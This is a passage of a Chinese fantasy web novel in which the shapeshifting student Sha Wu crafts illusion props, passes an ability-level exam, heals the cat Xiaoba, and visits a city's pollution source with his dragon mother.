阿二也凑过来：“寒假前，小伍看着和校霸差不多。现在瞧着怎么这么圆？” 祁大厨已经对喂胖沙伍失去信任：“他现在整只猫都是假的。” 阿大阿二恍然：“哦，对。” “他现在变的猫太真了，怎么看都跟真的一样。” 话还没说完，三只猫已经丢开了花公鸡，好像是在草坪上发现了什么虫子，开始追虫子，还故意追不到，把草坪掀得一个坑一个坑。 阿二露出幸灾乐祸的笑：“完了。” 果然，薛春的声音很快响起：“沙！伍！” 鲨猫瞬间变成秃头飞机耳，撒丫子就跑：“吼你亲儿子去！又不是我一个猫干的！” 薛春没用飞板，愣是飞出了接近风系异能者的速度：“小粉才多大，你多大？你还猫？！” 鲨猫想找机会往姜纶在的房间爬，根本找不到机会，最后被薛春撵得绕着宿舍跑了好几圈，才意识到：“薛哥，你故意的。” 草坪上几个坑而已，对薛春来说是小意思。 薛春嘿嘿一笑：“给你加点运动量。” 在楼上看着的姜纶，飞到进楼下，把他抱在怀里：“好了，洗个澡吃饭。” 一开学，沙伍的作息迅速恢复正常。 大二下并没有什么新课，都是延续了上半学期的。 他也总算是注意到别的同学们的链路课真正的进度，发现很多人才刚开始真正勾链路。 之前他太专心了。 不是，是被身边的朋友和老师误导。 风阳羽走到他身边，用手指点了点，警告他不许开小差，并且收走了他的链路笔和墨水，还收走了他的刻刀。 沙伍都数不清这是他被没收的多少套文具了。 他只是个一级啊，凭什么让他跟八级九级的人一样，直接用异能勾链路？ 他看着手上直径三厘米的小木头圆片，算了，勾朵花花。 他寒假用彩纸勾了很多一次性花灯，本来还想灯会的时候摆摊卖的，没想到因为冬捕错过了。 算了，彩纸可以，木片也可以。 用精神力操控异能在木片上勾链路，确实比用链路笔在彩纸上勾要难一点，但比给校霸治疗要简单。 教室里时不时传来一声板子报废的“呲”一声，然后就是被影响到的其他同学跟着报废，发出一连串的“呲呲呲”。 风阳羽已经变成乌鸦，站在窗口，总觉得教室里的空气不是很新鲜。 他观察着教室里的情况，发现沙伍不知道什么时候开始打开了光屏，在那儿计算。 他歪了一下头，没忍住好奇心，飞过去一看，原来是一个三重嵌套的链路。 只是这个链路，作用是什么？ 沙伍把链路给计算了出来，从书包里找出最大的一块20厘米见方的蚝壳板，开始勾链路。 蚝珠能量温和，蚝壳板也在一定程度上保留了这一特性。 虽然不能给特定的晶核提供加成，但是兼容性很好，尤其适合沙伍这样偏水系的异能。 异能像是一条跃入大海的鲨鱼，在海中有目的地穿梭，背鳍在海面上划出随心所欲的纹路。 沙伍第一次在勾链路的时候体会到这种顺畅感，勾完轻轻呼出一口气，眼睛亮晶晶地把链路板反复观看。 “你一节课都瞎折腾了些啥？” 风阳羽开口，沙伍才注意到教室里只剩下他一个人了。 “咦？下课了？”沙伍说着，从书包里拿出晶核盒子，选了几颗填进板子，再输入异能激活。 木头圆片上，一朵漂亮繁复的火红桃花绽放。 “好不好看？” 风阳羽都懒得看，一脚踢开：“给你家小少爷去。” “我家就是你家。”沙伍嘀嘀咕咕，又精挑细选了晶核填进最后做的链路板上，“我第一次勾这么复杂的链路，竟然一次就成功了！” 链路激活。 蚝壳板变成了一截树枝，粉红色的桃花一朵朵绽放满枝头，轻轻一摇，花瓣纷纷飘落。 大乌鸦看着他：“作用是什么？” 沙伍理所当然地回答：“好看啊。” 他挥手摇摇，摇出很多花瓣掉到大乌鸦身上。 大乌鸦抓着他就进行了一次高空抛物。 沙伍赶紧变成夜鹭“呱呱”飞走。 隔了几天，沙伍的花灯卖出去了，价格还很不错。 大乌鸦百思不得其解：“这东西有什么用？不是看姜家的面子才买的吧？” “噫——”沙伍瞪大眼睛，一指头戳进大乌鸦胸口的羽毛。 大乌鸦习惯地把他爪子拍开。 沙伍收回手，继续在光屏上计算：“人家根本不知道是我好不好？这是卖给影视制作公司当布景和道具的。我做的链路以假乱真，成本比他们自己借场地搭布景要便宜多了。” 大乌鸦歪头看他制作了一棵七级变异树，激活后，树叶还能进行四季变化，还能发出七级的攻击效果。 除了没有真实威力，跟真实的七级变异树一模一样。 “你有时间搞这个？”下半学期的课程很轻松吗？ 沙伍警惕地看过去：“挤出来的一点点时间。赚点小钱钱。” 上半学期占据了他大量时间的链路作业，突然开窍后感觉就很简单了。 多余的时间，除了选修了一门生物解剖课之外，他能干一些自己的事情。 大乌鸦不理解：“你很缺钱？” “不缺。”沙伍已经很久没关心自己的账户余额了。 姜家有个家庭账户，是消费的默认账户。 他也是家庭账户的用户之一。 上面的金钱数额简直考验他对计数单位的理解上限。 “那你把时间浪费在这种事情上干嘛？”有必要吗？ “不浪费啊。我现在可以构筑越来越多场景了。”沙伍说着，书房的场景变得复古。 铝制的窗框，实木的书桌，简易的书架上略显凌乱地摆放着各种书籍、试卷和杂志，紧贴着书架的是一个不大的衣柜，连着一个床头柜，上面放着一盏台灯、一部手机，然后是一张实木的单人床，上面铺着没叠好的被子。 大乌鸦变成人形，光着脚接触木地板，低头看了看，又去抽书架上的书，发现上面还真的有内容。 他放回去，再抽出第二本。 风阳羽还没说话，沙伍就干笑两声：“不能细看，会露馅。” 书架上所有书的内容都是一样的。 手机倒是能用，但是内容和儿童手环差不多。 别的东西倒是很真实。 衣柜里的衣服，墙上细微的裂痕，床头不明显的地方还有薄薄的灰尘。 “我在陈列馆的纪录片里看到的一个小场景，表面的东西几乎都1：1复刻下来了。这些实木家具和漆面什么的，我是认真研究了一下的。”严谨的伍哥，“我还问了一下大姐。她说很像大灾变前的样子。” 大乌鸦回头看他：“你的异能构筑这么细的场景，能支撑多久？” 沙伍有些听不明白：“支撑？没有全部用异能。你教的要学会利用光。光线穿过水，会发生各种变化。” 他现场演示了一下，薄纱一样的雾气弥漫，刚才还是一个普通房间的样子，在雾气散去后变成了宿舍外面的果树林，连气味都察觉不出异常。 “这种近距离的，我很熟悉的，难度更低。” 自然的景色让风阳羽不由自主变成觉醒体，爪子还在地上刨了两下土，扒出来的草根，细小的土块，里面忙碌的小昆虫，都极其真实。 沙伍得意地摇头晃脑：“我把泡泡深入地下几十米，保真的。”跟污染源的水潭确实不能比，但是用来忽悠人眼睛已经够了。 大乌鸦仔细观察了一下，突然身上冒出一圈光芒，周围的幻境瞬间消失：“仔细观察的话，还是有破绽的。幻境里的东西都缺乏生命力。” “唉……我这个还没想到办法。”可能得等他对世间万物的理解更进一步，才能够改进。 暂时打架阴人……不是，他的意思是把这份对于幻境的理解，变成电影布景和道具，已经足够用了。 大乌鸦飞到书房外面的大树上，让太阳充分沐浴他漂亮的羽毛，看着沙伍若有所思。 周二下午只有一节课的沙伍，刚下课就被塞进了飞车。 他一看身边坐着姜纶，对面坐着梁管家和校霸，还有大乌鸦。 祁大厨坐在驾驶位上，虽然是自动驾驶。 不是，这个阵仗是干嘛呢？ 他下意识往姜纶身边靠了一下：“发生什么事情了？” 梁管家笑笑：“带你和校霸去异能战士协会做一下等级考试。” 沙伍瞬间看向校霸：“校霸真的恢复异能了？” “是的。”祁大厨的声音很矜持。 “喵！”校霸回答的声音很响亮。 沙伍拍拍自己的腿，等校霸会意地跳过来，习惯性给校霸做治疗：“校霸的异能是什么啊？” “是体质强化。”梁管家微笑，“相当令人羡慕的异能。” 不管是人类还是变异生物，躯体就像是一个容器。 容器的质量越强，能够容纳的异能的质量就越高。尤其在进入高阶的时候，身体素质是极其重要的。 异能天赋值就是容器天生的大小，天赋值越高，容器就越大，能够拥有的异能上限就越高。 体质强化听起来平平无奇，但能够直接强化躯体的异能，相当于是能够直接强化容器，属于极少数能够提升异能天赋值的异能。 更何况，比起一些鸡肋的低阶异能，体质强化那是相当实用，无论是日常生活中的搬搬抬抬，还是体魄强健几乎不会生病，哪怕受伤了，恢复力也是一等一的强。 对哦，恢复力。 那为什么校霸体内的淤堵这么厉害，恢复这么慢？ 校霸站起来，用脑袋蹭了蹭他的下巴：“喵呜~” 嗨呀~小猫咪能有什么坏心思呢？ 沙伍抱着校霸亲……小少爷盯着，不能亲。 “所以，是要给校霸去协会办个证，落在我的名字下面吗？” 一般居民区内不允许有变异生物。 特殊情况可以养一些变异生物，只是需要进行专门的申请登记。 祁大厨对校霸一招手，校霸就跳到了他怀里：“想什么美事呢？校霸肯定是落在我的名下。你是顺带去等级考试，刚才不是一上来就告诉你了吗？” 第92章 青龙降临 沙伍根本没想到还有自己的事情。 “我就不用了吧？期末不是有协会的人到学校来测的吗？”到时候他和同学们一起报名一起考级，还专门去一趟协会多麻烦。 有这时间，他都能多画好几个链路板，卖好多小钱钱了。 等他攒攒钱……哦，他不用攒钱，现在就有足够的钱买下青龙城的小别墅。 只是他有些纠结，该买青龙城里的别墅，还是等着买新城的别墅。 新城的房子肯定更好，地方更大。 青龙城内的别墅，位置好的院子小，院子大的地方偏，而且普遍老旧。 新城的话，更现实的问题就是工作怎么办？ 沙妈妈作为异能者，寿命比普通人要长，四十多岁还很年轻。 但是他上面的四个哥哥姐姐都是普通人，换一座城市重新开始的时间成本太高。 唉，算了，不想了。 反正现在的房子凑合着也能住，关键是生活方便。 他脑子里想着事情，一点都不耽误跟人聊天。 飞车很快到了异能战士协会青龙分会。 “咦？就在陈列馆旁边。”青龙区的这个陈列馆，他来了好多次。 姜纶指了指附近的一圈大楼：“市政大楼、市民中心、博物馆、陈列馆、大剧院、市图书馆、市美术馆，差不多都在这一片。” “我看过周末有人在这儿放风筝。”这一片是青龙城老城区内，建筑物相对低矮、广场开阔的少数地区。 青龙城自古以来就有放风筝的传统，现在还是很受人欢迎。 姜纶以前不觉得放风筝有什么好玩的。 他自己就会飞，为什么还要放个纸片上去飞？ 现在看沙伍两眼亮晶晶的样子，就说道：“我做个风筝，回家也放着玩？” “好啊。我也做！”沙伍高高兴兴跟着进去了异能战士协会，然后就被带去测试了。 应该说是考试。 异能战士协会专门为异能战士提供服务，服务内容相当庞杂。 姜纶看他感兴趣，说道：“差不多就是市民中心，不过服务的对象是异能战士。” “我想看看具体服务什么。协会的悬赏通缉犯上哪儿看？是不是还有像游戏里那样交接发布任务的大厅？”沙伍对着门口的布局图一阵研究。 “那些手环上就能看到。”姜纶提醒，“走了。约了时间，再晚人家就下班了。” “哦。”沙伍赶紧扫了地图，跟着姜纶坐上一辆室内小飞车。 小飞车的速度快到根本不像是室内的，甚至都不像是市内的，完全没有限速。 沙伍只觉得唰一下就到了目的地，脑门都吹冷了。 他抬手扒拉下刘海，在检测中心门口刷了手环，马上就有机器人引导他进去测试。 姜纶等在外面。 检测中心外有专门的等候区，都是类似姜纶这样的陪考家长（？）。 沙伍透过透明墙往外面扫了一眼，感觉自家的家长怎么就那么帅呢~ 他冲着姜纶露出一个笑，摆了摆手，就跟着机器人转了个弯，隔绝了外面的情况。 异能战士等级的划分，根据的是异能者自身的异能控制力。 一级异能战士，能够将输出稳定在自身30%的异能强度；二级是60%；三级是90%。 考核内容很简单：将异能强度维持在相应的百分比，并持续一小时。 检测室很多。 时不时有测试的人进出，几乎都是一副快要虚脱的样子，少有几个显得游刃有余。 沙伍被机器人带到的是最里面的一个测试S级的检测室。 他目测了一下，墙体的厚度得超过两米。 有必要这么夸张吗？ 他的异能又没什么攻击力……可以没什么攻击力。 机器人询问：“需要上厕所的可以现在去。不需要的话，1分钟后开始测试。” “不需要。”测试好无聊的。 机器人退出检测室：“好的。接下来请根据语音提示进行测试。一个小时后见。预祝您测试顺利。” “谢谢。” 沙伍看着检测室门关闭，整个检测室变成一个相对密闭的空间。 仪器开始启动，很快就显示了他异能的百分比。 沙伍感觉很神奇。 明明仪器并不能测出他的变异值是多少，但是能测百分比。 他自己感觉是很清晰…… “请在倒数三下后，释放60%的异能。” “三、二、一，测试开始。” 沙伍呼出一口气，白色的雾气瞬间释放，这一刻仿佛回到了不久前的冬捕。 为了逃离那些七级、八级的变异生物，他真的是用尽了力气和手段。 每天这样的高强度钓鱼（当鱼饵），虽然逃命时间断断续续，但总体持续时间超过了10个小时。 60%一个小时而已，轻松拿捏，就是无聊。 沙伍通过二级测试出来的时候，眼睛都张不开了，嗅到熟悉的气息，直接就一头栽过去：“困。” 姜纶抱着他轻轻摇了摇：“好啦~回家吃完饭再睡。我们去接校霸？” “校霸！”沙伍一下就精神了。 变异生物测试在另外的区域。 隔的距离倒是不远，但完全是两个通道。 他们出去的时候，祁大厨已经抱着校霸等在了门口：“走了。” 路上，祁大厨跟沙伍说明两种测试的异同：“人类异能战士，主要是测试对异能的控制力，也就是稳定性，决定了在面对变异生物时候，能够持续攻击或者机动的时间，以及所处的位置。作为宠物或者伙伴的变异生物，测试的是对人类的危险性和服从性。” 沙伍若有所思，对校霸摊开手：“握手。” 校霸把右前爪放上去，接着把左前爪一起放上去，歪头wink：“喵~” 沙伍立刻变成狮子猫，和校霸疯狂贴贴。 姜纶把自家鲨猫抱到腿上，忧心忡忡：“对人类很危险很危险。”看看，把他家小鲨鱼的魂都要勾没了。 他低头教育鲨猫：“作为一条鱼，离猫远点。” 鲨猫瞳孔地震：“对哦，我是一条鱼。”为什么会觉得天敌很可爱？ 校霸掌握的异能一定是魅惑，体质强化是骗人的。 校霸凑过来，呼噜呼噜给鲨猫舔毛。 鲨猫跟着呼噜呼噜，甚至变成了小猫崽，紧紧挨着校霸身上唯一软软的肚皮上，从卷起来的一小团，睡成张开四肢的一张……一块猫。 梁管家欣慰：“小伍总算是长点肉了，变成猫也不会是薄薄的一张猫饼。” 不知道是不是受到这句话的启发，沙伍的晚饭主食和校霸的长得很像，做成猫猫头形状的饼子。 小奶猫看着和自己现在的身体一样大的猫饼，震惊地看着祁大厨，一步一步往后退，一个踩空摔到了姜纶等候的手心里。 姜纶不明白：“怎么了？不可爱吗？” 小奶猫瑟瑟发抖：“让猫猫吃猫猫，丧心病……可怕。” 姜纶指了指埋头在饭碗里的校霸：“你看校霸就不介意。” “就你事多。我还烤了小猫饼干。”祁大厨对喂不胖的沙伍已经失去了感情，把全部爱心都给了校霸。 姜纶把猫饼递到小奶猫嘴边。 小奶猫嗅了嗅，试探性地咬了一口。 姜纶看着猫饼上缺掉的一个小圆弧，再看看细细咀嚼的小奶猫。 小奶猫变成了男朋友。 男朋友就着他的手，在猫饼上留下一个大一点的圆弧缺口。 姜纶轻轻吸气。 沙伍察觉到他的视线：“怎么了？” “没什么。”姜纶困难地移开目光，“晚上我们去生蚝岛吧？” “好啊。”反正过去生蚝岛对姜纶来说不远，在那边还清净。 他网上小店接的单子还没做完，在宿舍做，总忍不住刷剧，有时候和小丑鱼他们聊个天，打个游戏，两三个小时就过去了。 和姜纶在一起，也是很快，两三个小时就过去了。 壁炉前换了一块新的地毯。 小白龙趴在地毯上，看姜纶换屋子里能换的所有软装。 原本温暖的橙色调，全都换成了更加轻盈的颜色。 北方的孤岛上，寒风依旧凛冽。 房子里，起码小少爷已经满面春风。 果然，时刻做平板支撑的核心力量就是……住脑！不许想！ 小白龙懒得撑起四肢，平展展地贴着地飞出房门：“我出去转转。” 姜纶喊了一声：“别跑远了。” 小白龙微微甩动了一下尾巴，表示听到了。 姜纶看得好笑：“怎么还是一副猫样？” 小白龙变成大白龙，把自己挂在山顶上。 漆黑的石头山上呼啸而来的海风，似乎真的带着一丝丝暖意。 姜纶把房子里换季的东西都布置好，顺手把猎人小屋里的摆设也更换了一下。 忽然，他闻到一股花香顺着窗户吹进来。 他以为自己闻错了。 生蚝岛是几乎紧贴着北冰洋的海岛。 三月份还是一片冰寒。 哪怕是院子里有着基础防护的本地植物，也依旧在休眠期。 白色的花瓣飘落在窗棂上。 姜纶捻起花瓣，下一瞬，花瓣在手上化作轻薄的水汽。 他直接从阳台上飞出去，循着风来的方向，看到不同季节不同的花朵铺天盖地盛开在黑夜的海岛上。 移居到另外半边岛屿的鸟群，在这些散发着柔和光芒的花朵中不知所措。 沙伍盘腿坐在山顶，看到他过来，对他张开双手。 姜纶尽量轻地落在他身边，紧紧拥抱。 “过去一年辛苦了。本来是想一起看灯会的，只能这样送给你了。” 伴随着话落，无数花灯飞向天空，点亮寒冷的黑夜。 姜纶仰头看着犹如星空一样的花灯，过了很久才带着点别扭地说道：“拿我当女孩子哄。” “没有。我都没哄过女孩子。不是，我什么人都没哄过。”作为男朋友，沙伍觉得其实自己付出得很少，一直都是姜纶在照顾他，“你就说有没有被我哄到吧？” “嗯。”姜纶埋首在沙伍颈窝，深吸了一口气。 姜纶确实被哄到了，后果是沙伍必须用异能遮掩一身的痕迹，才能有脸去上课。 课堂上，他一边听课，一边给校霸治疗。 最近有一条经脉的淤堵明显软化，他集中精神一点点往外掏堵塞物。 校霸恢复异能，身体的承受能力确实加强了。 沙伍试探性的用最细小的异能小鲨鱼，直接钻入淤堵的缝隙，观察了一下校霸似乎没什么感觉，就继续慢慢吞噬。 淤堵物软化了一点后，还是无比坚硬，味道倒是不错，像是特别特别硬的巧克力。 一上午的课下来，沙伍感觉校霸的淤堵物-1，也可能是-0.1。 在减少就好。 下课后，手环上发来异能战士协会通过二级测试的通知，紧接着是学校方面的个人信息变动通知。 正在一起去食堂的途中，小丑鱼看了一眼，一点都不意外：“你这么几个小时几个小时地修猫，过个二级轻轻松松。” 沙伍照顾着校霸的速度，走路不算快：“你们要去考，不也一样轻轻松松？” 为什么青龙学院的学生们本科毕业的时候通常是三级，偶尔才有几个四级？ 难道是他们的实力不允许吗？ 不是的。 是大学期间，人体的各方面还在成长。 作为异能的容器，学生们都在拼命强化身体。 基础打牢了，将来提升异能才会更加轻松。 小丑鱼和虾同学的身体素质，先天条件都不是很好。 虾同学反省：“我这学期应该报一两门战斗专业的课。链路课实在是太耗费精力了。” 小丑鱼的第二专业就更不用说了。 “让我再上战斗专业的课，我立马就厥过去。” 道理是这个道理，但是：“那也不能忽视身体素质。不行你就多读两年？” 小丑鱼认真想了想：“我没想过还有这一招！” 他其实没必要非得在四年内，读完两个本科。 青龙学院内选第二专业的学生很多，规定的时限是八年内修完学分即可。 这么一想，小丑鱼顿时就松了一口气：“这个学期就先这样了。下个学期我放松一点。” 新学期已经过了一个多月，距离学期结束也就是剩下两个月出头，熬一熬就过去了。 虾同学用一种充满期待的眼神看着沙伍：“你身体还没养好，身体强度已经超过班级里所有同学了，我看好你哟~” 沙伍不理解：“看好我什么？” 虾同学拍了拍他的肩膀：“看好你九级。”然后帮他建城，美滋滋~ 沙伍骄傲抬头：“那肯定的，等着吧。我唰唰就到九级了。” 小丑鱼立马揽住他的肩膀：“苟富贵勿相忘！” 沙伍像个昏君一样摆手：“不忘不忘。” 路过的同学们听到一两句，并没有觉得他们在说大话。 类似的玩笑，几乎哪个学生都说过。 人人都对自己充满信心。 九级而已，看看他们的任课老师们，大部分年纪不大，都是七级八级。 能够进入青龙学院的学生，无论是异能天赋还是读书成绩都不差。 九级确实困难，但自己也不是一定没有可能。 小丑鱼看着校霸，突然问他：“你天天给校霸治疗，你自己呢？” “情况肯定有好转。”沙伍提起自己的身体情况，眼神下意识有些躲闪。 他的身体要是真的好了，那姜纶不得把他整个人给吃了？ 一鱼多吃。 不不不，太可怕了。 敏锐的小丑鱼搓下巴：“你这样子，有问题！” 沙伍大声反驳：“我能有什么问题！” 校霸被他吓了一跳，抬头看了看他，见他没事，又继续往前面走。 虾同学抿唇笑：“你现在看着就很有问题。” 沙伍挠头：“真没有。我的身体问题不是一天两天能解决的。你们看我这个学期一个多月了，都没长肉。” 体内星空里的黑洞真相查明了，但跟没查明也差不多。 更深层的另外一片星空，需要的能量无比庞大。 他无论是通过食物还是修炼来的能量，都无法填补满。 高阶变异生物的可食用部分，或者干脆是能量补充药剂，这些蕴含的能量确实很高，但他的身体只是个二级。 吃太多能量，他的身体扛不住。 虾同学看他走着走着突然停了下来：“想什么呢？” “想黑芝麻糊。”沙伍摸了摸胸口。 污染源的黑芝麻糊吃进去的能量，直接填在了更深处的星空。 “想吃的，你不摸肚子摸胸口是几个意思？”小丑鱼不理解。 “哦。”沙伍赶紧把手放到肚子上。 虾同学想起一个问题：“对了，下学期要组战队，你们现在有什么想法吗？” “我跟姜纶，我们两个一组。”沙伍提起这个就很开心，“我们连战队驻地的小岛都建设好了。我把地址发给你们。你们以后要是有需要可以过来，设了猎人小屋。” 虾同学和小丑鱼看着距离小半个地球的岛屿陷入沉思。 “这个距离，不出意外的话，我们可能一辈子都到不了。” “确实是姜纶的作风。” “怎么会到不了呢？花杨蓉你作为一条热带鱼……” “我决定当冷水鱼。” “是什么让你做出违背祖宗的决定？” 说起虾同学的队友选择的时候，已经是下午了：“我这边差不多定好了。桃花水母、河蚌、田螺、鲤鱼和我。到时候我们找片稻田附近的池塘猫着。” “你们听起来怎么这么岁月静好？”一听就是躺着不动的组合。 现在的天气早晚依旧有点冷，中午出太阳的时候已经能够感觉到热了，下午的课更是把人吹得昏昏欲睡，哪怕最严厉的老师，也无法阻止学生们一个个趴下。 沙伍一手托腮，眼皮子即将合拢的刹那，突然感觉到一股气息。 他猛地站了起来，往窗外望去。 巨大的青龙在极低的空中飞舞，掠过沙伍所在教室的窗外，距离近到一伸手就能摸到。 她看到沙伍，露出一个笑才飞远。 世界仿佛都安静了下来。 浅淡的春色在一瞬间变得浓艳起来。 萌发的树叶，青翠的草色，一树一树盛开的花，季节像是被按了快进键一样。 “妈妈好帅啊~” 认真想起来，沙伍其实没见过青龙飞在空中的样子。 寒假的时候他在青龙身边待了很久，但山洞毕竟是个封闭环境，他又天天吃了睡睡了吃，挨着妈妈的爪子睡就觉得很安心很幸福。 “真的青龙妈妈！” “呜呜呜这次是真的青龙妈妈！” “太好了，青龙妈妈还在！” 青龙已经太久没有降临这座因她而存在的城市了。 人们只能在历史书上看到相关记录。 两百多年的时光，哪怕人们知道异能者的寿命会比普通人长，也难免揣测青龙会不会和大部分的异能战士那样，因为伤势而默默陨落。 青龙城内，几乎所有人都看到了青龙。 许多人都红了眼眶，复杂的情感让他们失去语言，只能默默流泪。 老师在讲台上忍不住也吸了吸鼻子：“今天的课就先上到这里吧。大家都回去缓和一下情绪。” 以往要是提前下课都会欢呼的学生们，现在非常安静，甚至相互之间没有多少交流。 他们离开教室，仰望着天空，企图再次看到青龙的踪迹。 沙伍欢天喜地联系姚瑞云：“妈妈，你到哪儿了？” 光屏那边，人形的姚瑞云身边坐着校霸，面前摆着漂亮的小蛋糕：“我在宿舍呢。” “我马上回来！”他刚踩着飞板飞了没多远，就被从后方追上来的飞车给抓住了。 犯罪嫌疑人除了姜纶，就没有别人。 “不学好，逃课。” 沙伍变成小奶猫，呲溜一下就挣脱了姜纶的怀抱，极其丝滑地变成了夜鹭，飞到他头顶，低头叨叨两下，把姜纶的头顶叨出两根天线：“你还好意思跟我说逃课？” 姜纶摊开手掌朝上抬了抬，夜鹭落到上面：“我是校董，怎么就不能监督学生的考勤？” “老师提前放我们下课了。我看别的班级都差不多。”夜鹭在姜纶手掌心上，张开翅膀连蹦带跳地转了一圈，“妈妈到我教室来看我~” 姜纶看他这幅样子就觉得很可爱：“这么喜欢妈妈？” “喜欢~妈妈是最厉害的！爱来自青龙城普通公民沙先生。” 姜纶抬起手指戳了一下夜鹭的胸口，看着他故意定格：“你马上就不是青龙城普通公民了。” “呱？”夜鹭半张着翅膀，单脚站立。 沙伍这一下惊呆的样子，颇有夜院长神韵。 姜纶又戳了一下他的胸口：“不是说了要恢复省市的建制？现在华夏五大区的称呼太乱了，加上一些新城的加速扩张，还是用后土城、青龙城的不太合适。” 夜鹭低头把姜纶的手指叨开：“那我要变成山东省东湖市沙先生？” 第93章 爸爸？ 沙伍从出生起就是青龙城人，感情上还是想在身份证上保留青龙的抬头：“我现在的户口已经从东湖城迁入学校了，等毕业后，我把户口迁到青龙城里。”他拍拍翅膀，“买个青龙区的房子！到时候我就是山东省青龙城青龙区沙先生。” 说这话的时候，飞车已经到了宿舍。 姜纶抱着假夜鹭下车，看到姚瑞云和校霸一起坐在草坪上。 “妈！”姜纶看到姚瑞云显然也很高兴。 沙伍已经飞到校霸头上，挨着姚瑞云贴贴：“妈妈~” “哎~”姚瑞云很高兴地摸摸头。 还是小儿子会撒娇，大女儿和大儿子天天假装一副独当一面的长女长子样子，只会在自己搞不定的时候喊妈妈。 这座城市，或者说现在在废墟之上重新建立起来的省，和她的联系很深。 她能够感受到这片土地，因为她的到来而喜悦。 她也因为这片土地的飞速成长而感到高兴。 真夜鹭和大乌鸦一起到来。 这是开学后沙伍第一次见到夜鹭，立刻飞到他身边，换了一身雏鸟皮肤贴贴：“院长~” 夜鹭抬起翅膀就把鲨鹭推开：“少打歪主意！” 作为资深教育界人士，夜鹭不用眼睛看就能知道学生的坏心思。 鲨鹭想了想，变成了仙气飘飘的苍鹭。 他在夜鹭面前迈着大长腿，伸着长长的脖子，行走之间犹如流动的水墨画。 这种明显的挑衅行为，很快就迎来了一顿毒打。 青龙妈妈都不救他：“小伍鼻青脸肿得很真实。” 一点皮外伤的恢复速度非常快，只是有损个人形象。 沙伍干脆变成黄喉貂，让一头黑毛遮掩住脸上的伤，哼哼唧唧。 校霸第一次看到他这幅形象，靠过去，嗅了嗅确定是沙伍，就低头给他舔毛。 姚瑞云看着这一幕：“校霸很喜欢小伍啊。” 姜纶语气酸酸的：“招蜂引蝶。” 黄喉貂的身上冒出治疗的微光，顺带把校霸一起笼罩在里面。 鲨貂很快就变成小奶猫，窝在校霸的肚皮上，细声细气地叫：“咪。” 夜鹭平地踉跄了一下，扑腾了两下翅膀，好悬摔个屁股蹲：“这这这……哪儿学来的？”犯规！ 都快20岁的小伙子了，怎么还有脸装奶猫卖萌的？ 小奶猫一身炸开的毛，像是一朵大号蒲公英，鸳鸯眼一金一蓝，耳朵鼻子爪子都透着粉。 姜纶把手伸过去。 小奶猫把和他指尖差不多大的爪子放上去：“咪呀~” 大乌鸦都有些扛不住，视线追随着把小奶猫抱走的姚瑞云，对夜鹭说道：“学校的一只长毛三花生了一窝小猫。” 臭小子除了书本上的知识，那是什么都学。 还有时间学奶猫，一定是作业不够多。 小奶猫蹲坐在姚瑞云的手心里：“妈妈~我想去青龙城的污染源~” 谁能拒绝这么可爱的小奶猫呢？ “去。” “妈妈~我想去北冰洋~” “去。妈妈在，哪里都可以去！” 夜鹭炸毛：“不是，让沙伍去污染源？！” “嗯。”姚瑞云用食指摸摸小猫的脑袋，“没事的。小伍寒假的时候就跟我们一起待在后土城的污染源。” 姚瑞云显然不能离开后土城太久，说完也不挑时间，直接就带着一群人去了青龙城的污染源。 她的速度太快，沙伍都没看清楚究竟是在哪里，眼睛一花就到了一片漆黑的深海。 海水把他包围。 他顺应着本能变成了小白龙。 他能看到自己，除此以外什么都看不到。 周围没有声音，没有气味，只有比深海更深的静谧。 很奇怪的海，没有一点压力，周围包裹的不像是海水，更像是空气。 这么想着，小白龙感觉周围地海水像是变成了一张纸，他往前飞了一下，就把又脆又薄的纸撕碎。 四周还是很暗，但是暗出了层次。 宽阔的深黑的一眼望不到头的巨大裂隙，像是把地壳劈成了两半。 荒芜到连一滴水都没有的空间。 没有生命的气息。 小白龙降落在一块碎石上，探头探脑地往深处看，皱着鼻子嗅了嗅。 鱼的味道？ 他往四周看了看，周围一个人都没有，妈妈不在、院长也不在、风叔……风叔这么黑，说不定在暗中观察。 气味很淡，他想了想，变成大白龙的样子，原本就敏锐的嗅觉果然被放大。 白龙追索着一丝丝恍如幻觉一样的气息，在这片深浅不一的黑色中，划出一道亮光。 他顺着仿佛干涸的河床一样的峡谷，飞了不知道多久，眼前突然变得开阔，一瞬间像是又回到了最早时候的漆黑深海。 鱼在海里。 海面一片死寂，没有一丝风浪，平滑得像是后土城山洞里的深潭。 这样的海里真的会有鱼吗？ 他下意识不敢靠近，远远看着这片比深潭大得多的海面。 海面瞧着有点鼓。 有点鼓？ 白龙差点从空中摔下去，歪歪扭扭得在空中乱七八糟来回拧巴，差点把自己打结，好悬扒住旁边的山崖，手脚并用爬上去，才一脸见了鬼的表情看向海面。 海面上的鼓起在移动。 那是活的，一眼看不到头的巨大生物。 姜纶的金龙觉醒体已经很大了，妈妈的青龙体型更加庞大，但……那是什么？！ 难道这就是污染源真正的样子吗？ 后土城的污染源只是诞生了一点灵智，青龙城的污染源已经诞生了生灵？ “喵~” “喵？”白龙低头，看到站在自己身边的散发着一点绿光的狮子猫，“校霸？！” 雪白的狮子猫仰着脑袋在白龙的脚边蹭了蹭，开始习惯性绕腿贴贴。 白龙的爪子太大，校霸绕了一卷就觉得已经够了，跳到白龙的脚面上，趴卧下来，仿佛在家里一样，开始旁若无人地舔毛。 大乌鸦落到白龙面前的石头上：“不是你要来的吗？真来了又鬼鬼祟祟的。” “妈妈呢？院长呢？姜纶呢？”他一条鱼觉得有点无助。 “他们在海里。姜纶没来。” 白龙看着已经恢复平滑的海面，心有余悸：“妈妈和院长是在跟刚才海里的东西打吗？海里的是什么鱼，好大。” 大乌鸦似乎是站的石头有点硌脚，拍了两下翅膀，换了个位置：“海里的鱼……你连你们院长都认不出来了？” 白龙陷入沉默，半晌才道：“院长不是夜师傅吗？” “夜鹭，那是夜珹的假象。他的本体太大了，不方便行动。”大乌鸦十分惊讶，“你真不知道？” 白龙看了看海面，仿佛还能看到刚才巨大的鱼背：“那也不能好好的鱼，变成鸟……”他脑中突然闪过一种猜测，“院长是鲲鹏？北冥有鱼，其名为鲲，鲲之大，一锅炖不下……哎哟！” “想炖谁！”夜师傅站在白龙的头顶一阵叨叨。 白龙感觉自己的脑壳都要被叨穿：“我错了！院长我错了！风叔救命，妈妈救命，校霸救命！” 校霸叼着一只小奶猫的后脖颈，往边上一跳，被突然出现的姚瑞云伸手抓住：“小伍骗人的本事见长。” 小奶猫被放在手心上，失去了所有的心眼和手段。 喊救命的白龙消散。 “好了，带你来了。想干嘛？” 小奶猫喵道：“想尝尝这里的污染源。” “尝吧。这片空间的空气、岩石、大海，全都是污染源。”姚瑞云见过他从后土城的污染源里取“芝麻糊”，一直没搞明白究竟是怎么回事。 